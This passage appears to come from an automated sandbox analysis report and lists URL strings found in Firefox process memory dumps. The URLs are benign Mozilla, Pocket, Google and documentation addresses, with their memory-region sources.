Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.enabled
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recommended-by-learn-more
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001C.00000002.2758788296.000001F40118B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2517349923.000001F401189000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2518185756.000001F401195000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001C.00000002.2758788296.000001F40118B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2517349923.000001F401189000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2518185756.000001F401195000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001C.00000003.2227751133.000001F3FEF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2220456983.000001F3FEF4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2218571898.000001F3FED00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2221855699.000001F3FEF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/microsoftVirtualAssistant.jsshims/private-brows
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB5AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/browser.newtab.feature-tour
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/oldsyncS
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/H
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/HCX
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryU
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryUFj
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745834814.000001F3FF9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767550763.000001F401A32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400ED7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400ED7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema27fb6245-bd08-4de6-8f4d-2ece3f597752%2528not%2Bset%2529%
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2292032711.000001F401EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comCheckerService:#updateCheck
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s_finalizeInternal/this._finalizePromise
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001C.00000003.2517507129.000001F3FB17E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mathiasbynens.be/
Source: firefox.exe, 0000001C.00000003.2517507129.000001F3FB17E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
Source: firefox.exe, 0000001C.00000003.2517507129.000001F3FB17E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mathiasbynens.be/notes/javascript-escapes#single
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF5DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001C.00000002.2739459601.000001F3FF30A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2754098270.000001F4004BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB5BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405https://shavar.services.mozilla.com/downloads?client
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001C.00000003.2517507129.000001F3FB17E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mths.be/jsesc
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%shttps://mail.google.com/mail/?extsrc=mailto&u
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
